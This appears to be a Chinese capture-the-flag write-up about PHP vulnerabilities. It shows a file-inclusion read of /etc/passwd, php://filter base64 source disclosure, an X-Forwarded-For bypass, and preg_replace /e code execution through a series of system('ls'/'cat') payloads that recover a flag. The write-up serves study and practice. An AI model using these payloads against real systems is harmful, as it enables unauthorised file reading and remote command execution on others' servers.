PHP伪协议的几篇文章
PHP伪协议实现命令执行漏洞的七种姿势
配合PHP伪协议实现文件包含漏洞
初试
查看网站源码可以发现一个url
我们访问一下看看,可以看到页面下方有显示:
我们将参数换为:/etc/passwd
文件读取漏洞
我们从上图可以看出有回显,我们尝试访问index.php,构造payload:/index.php?page=/var/www/html/index.php
。
PHP伪协议读取
我们这时候就可以想到,用PHP伪协议来访问,构造payload:php://filter/read=convert.base64-encode/resource=index.php
。
这样就可以读到index.php的源代码
下面介绍下关于php://filter的知识:
php://filter漏洞
PHP伪协议
我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到内容。
代码审计
我们拿到了base64编码的源代码,发现其中有preg_replace函数,这个函数存在命令执行漏洞,用于执行一个正则表达式的搜索和替换。我们从网络上了解到这个函数存在一个命令执行漏洞,可以看出当函数第一个参数用//e修饰,第三个参数与第一个参数相同时,第二个参数可以当作php代码执行。即preg_replace(“/123/e”, “phpinfo()”, “123”);可以执行phpinfo()函数。我们发现这三个参数都是我们可控的,所以只要能够绕过$_SERVER[‘HTTP_X_FORWARDED_FOR’] === ‘127.0.0.1’即可命令执行。
X_FORWARDED_FOR绕过
命令执行测试
我们通过代码审计可以构造参数如下payload:?pat=/123/e&rep=phpinfo()&sub=123
,访问结果如图:
依次通过以下payload:
payload:?pat=/123/e&rep=eval(system("ls"))&sub=123
payload:pat=/123/e&rep=eval(system("ls+s3chahahaDir/"))&sub=123
payload:?pat=/123/e&rep=eval(system("ls+s3chahahaDir/flag"))&sub=123
payload:?pat=/123/e&rep=eval(system("cat+s3chahahaDir/flag/flag.php"))&sub=123